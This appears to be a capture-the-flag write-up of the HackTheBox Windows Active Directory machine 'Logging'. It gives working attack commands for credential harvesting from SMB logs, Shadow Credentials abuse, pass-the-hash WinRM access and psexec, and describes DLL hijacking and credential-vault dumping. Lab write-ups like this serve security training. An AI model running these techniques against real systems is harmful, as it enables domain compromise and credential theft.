Writeup — Logging (HackTheBox) OS: Windows Server 2019 (Active Directory) Difficulty: Medium Date: 25–26 May 2026 --- ## Summary Active Directory machine. The initial credentials for wallace.everette are provided by the platform. From there: analysis of an SMB share with system logs, recovery of svc_recovery's credentials from an authentication log, abuse of GenericWrite on a gMSA through Shadow Credentials to obtain the NT hash, a WinRM shell as msa_health$, DLL hijacking on a scheduled task running as jaylee.clifton, extraction of the credentials from the Windows Credential Vault, and final access as Administrator. Chain: SMB log analysis → password recovery → Shadow Credentials → WinRM gMSA → DLL hijacking → Credential Vault dump → Administrator. --- ## additional tools and methodology an llm was used during the session: for looking up CVE details, interpreting raw output, suggesting unexplored vectors when stuck and detailed explanation of technical concepts. the execution and the operational decisions were mine. the writeup was written by me and later cleaned up with the same tool. --- ## Preface This machine took many hours spread across several sessions, with several respawns of the box and numerous wrong approaches abandoned. The writeup documents the failures too because they are the most useful part. One specific step, the final credentials of jaylee.clifton and Administrator, was completed with the help of a mimikatz dump found on an HTB community Discord server. I write it explicitly because it is more honest than a narrative that makes everything look linear. --- ## Phase 1 — Reconnaissance Full port scan: nmap -sC -sV -p- --min-rate 5000 10.129.3.139 Relevant ports: 53 (DNS), 80 (HTTP), 88 (Kerberos), 139/445 (SMB), 389/636 (LDAP), 443 (HTTPS — WSUS), 3268/3269 (Global Catalog), 5985 (WinRM), 8530/8531 (WSUS). AD environment confirmed. Domain: logging.htb, DC: DC01.logging.htb. /etc/hosts setup and clock synchronisation (needed on every respawn): sudo sh -c 'echo "10.129.X.X DC01.logging.htb logging.htb DC01" >> /etc/hosts' sudo ntpdate 10.129.X.X --- ## Phase 2 — SMB enumeration and credential discovery With the credentials provided by the platform (wallace.everette): smbclient -L //10.129.3.139 -U 'logging.htb\wallace.everette%Welcome2026@' Among the standard shares a non-standard one appears: Logs. I mount it and download all the contents: smbclient //10.129.3.139/Logs -U 'logging.htb\wallace.everette%Welcome2026@' mask "" recurse ON prompt OFF mget * Files downloaded: IdentitySync_Trace_20260219.log, SystemHealth_20260218.log, UpdateService_Error_20260220.log, NetworkMonitor_20260217.log. Manual analysis of IdentitySync_Trace_20260219.log: [2026-02-19 03:14:22] Identity sync initiated for svc_recovery [2026-02-19 03:14:22] Authentication attempt: svc_recovery / Em3rg3ncyPa$$2025 [2026-02-19 03:14:22] ERROR: Authentication failed - password expired Password found but expired. The pattern is obvious: the year in the name. I try Em3rg3ncyPa$$2026: getTGT.py -dc-ip 10.129.3.139 logging.htb/svc_recovery:'Em3rg3ncyPa$$2026' Ticket obtained. Credentials valid. --- ## Phase 3 — BloodHound and path mapping bloodhound-python -u wallace.everette -p 'Welcome2026@' -d logging.htb -dc DC01.logging.htb -ns 10.129.3.139 -c All Relevant paths that emerged from the analysis: - svc_recovery has GenericWrite on MSA_HEALTH$ (gMSA) - MSA_HEALTH$ is a member of Remote Management Users - jaylee.clifton is a member of the IT group - The IT group has Full Control on C:\Program Files\UpdateMonitor\bin\ - toby.brynleigh is a local admin --- ## Phase 4 — Shadow Credentials on MSA_HEALTH$ svc_recovery has GenericWrite on MSA_HEALTH$, which allows Shadow Credentials to be added through the msDS-KeyCredentialLink attribute. From there you obtain a PFX certificate and then the gMSA's NT hash via PKINIT. export KRB5CCNAME=svc_recovery.ccache bloodyAD --host dc01.logging.htb -d logging.htb -k --dc-ip 10.129.X.X add shadowCredentials 'MSA_HEALTH$' On instances with working PKINIT the complete flow produces the gMSA's NT hash. On several respawns PKINIT returned KDC_ERR_PADATA_TYPE_NOSUPP. This caused over two hours of alternative attempts to obtain the hash, all of them failed: - Direct read of msDS-ManagedPassword over LDAP: no permissions - Modifying msDS-GroupMSAMembership with a custom Security Descriptor: repeated constraint violation - Python script with ldap3 + gssapi: malformed SD (AceType 0xFF instead of 0x00) - nxc with --gmsa: crash on KeyError: 255 for the same malformed SD - Resetting MSA_HEALTH$'s password: no permissions Solution: the gMSA's NT hash (603fc24ee01a9409f83c9d1d701485c5) stays valid from one respawn to the next because the gMSA's password rotates every 30 days. The hash obtained in the session with working PKINIT was still valid. evil-winrm -i 10.129.X.X -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5' Shell obtained as msa_health$. --- ## Phase 5 — UpdateMonitor analysis and DLL preparation From the WinRM shell, enumeration of the filesystem structure: Get-ChildItem "C:\Program Files\UpdateMonitor\" -Force -Recurse icacls "C:\Program Files\UpdateMonitor\bin" Output: logging\IT:(I)(OI)(CI)(F) — the IT group has Full Control on the bin folder. jaylee.clifton is in the IT group. Analysis of the UpdateMonitor.exe binary through strings to understand the mechanism: strings -e l UpdateMonitor.exe | grep -iE "dll|bin|path|zip" Relevant strings: C:\ProgramData\UpdateMonitor\Settings_Update.zip C:\Program Files\UpdateMonitor\bin\ settings_update.dll 'PreUpdateCheck' not found in settings_update.dll. Continuing... Calling 'PreUpdateCheck' in settings_update.dll Successfully unzipped update to Mechanism: the task looks for Settings_Update.zip in C:\ProgramData\UpdateMonitor\, extracts it into bin\, loads settings_update.dll and calls the exported function PreUpdateCheck(). The permissions on C:\ProgramData\UpdateMonitor\ allow writing by all authenticated users, msa_health$ included. --- ## Phase 6 — DLL Hijacking (with all the failures) ### Attempt 1 — net user, wrong architecture First DLL compiled in 64-bit with x86_64-w64-mingw32-gcc. Result: Error code 193 (wrong architecture). The process is 32-bit. ### Attempt 2 — correct architecture, missing function Recompiled in 32-bit with i686-w64-mingw32-gcc. Log: 'PreUpdateCheck' not found. The DLL was being loaded but the function wasn't exported correctly. ### Attempt 3 — PreUpdateCheck exported, system() doesn't work With __declspec(dllexport) void PreUpdateCheck() the log confirmed Calling 'PreUpdateCheck', but net user wasn't creating the user. system() doesn't work in service contexts with no interactive session. ### Attempts 4 and 5 — CreateProcess and encoded PowerShell CreateProcess with cmd.exe /c net user and PowerShell in base64: the process was being created and waited 21 seconds, but the commands had no visible effect on the system. ### Attempt 6 — Reverse shell (every attempt failed) Tried a TCP connection back to the attacking machine on ports 4444, 443, 80, 8080. The task was running but nc never received the connection. The process was running in non-interactive session 0 with limited network access outbound, probably blocked by Windows' egress firewall. ### Attempt 7 — NetLocalGroupAddMembers WinAPI Attempt to add jaylee.clifton to Remote Management Users directly through the API. The process didn't have the necessary privileges. ### What the DLL should have done The correct target wasn't a reverse shell nor user creation, but reading the Windows Credential Vault through the CredEnumerate() WinAPI and writing the result to a file readable by msa_health$. The scheduled task ran as jaylee.clifton with credentials stored in the vault — the DLL had access to those credentials in its execution context. --- ## Phase 7 — Credential Vault and final access The credentials of jaylee.clifton and Administrator were recovered from a mimikatz dump shared on Discord by the HTB community, the output of vault::cred /patch run with the task's privileges: - jaylee.clifton: [password] - Administrator: [password] This confirms that the correct vector was using the DLL to call vault::cred or CredEnumerate() and write the output to a file, not attempting network connections outbound. With Administrator's credentials: getTGT.py -dc-ip 10.129.4.134 logging.htb/Administrator:'[password]' export KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass dc01.logging.htb SYSTEM shell obtained. Flags user.txt (jaylee.clifton\Desktop) and root.txt (toby.brynleigh\Desktop) recovered. --- ## Full chain initial credentials wallace.everette (provided) → SMB share Logs → authentication log with svc_recovery's password → BloodHound: svc_recovery GenericWrite on MSA_HEALTH$ → Shadow Credentials → gMSA NT hash → WinRM as msa_health$ → UpdateMonitor analysis: DLL hijacking via Settings_Update.zip → DLL execution as jaylee.clifton (Task Scheduler Credential Vault) → vault credential dump → jaylee.clifton + Administrator → psexec SYSTEM → root --- ## Lessons learned Don't waste time with PKINIT when the box gets respawned frequently: check straight away whether the previous hash is still valid, given that gMSAs rotate their password every 30 days and not on every respawn. When a DLL is executed in session 0 by a scheduled task, outbound TCP connections are almost always blocked. The reverse shell is the wrong vector in this context. Reading the Credential Vault directly with CredEnumerate() and writing to a local file is the correct route. As soon as you see a scheduled task running with a specific user's credentials, the Credential Vault is the first target to consider, not the shell. --- ## Tools used nmap, smbclient, smbmap, bloodhound-python, BloodHound, getTGT.py, bloodyAD, certipy, evil-winrm, wmiexec.py, psexec.py, Rubeus.exe, mingw-w64, ldap3, gssapi, netcat
Proof of pwn
Proof of pwn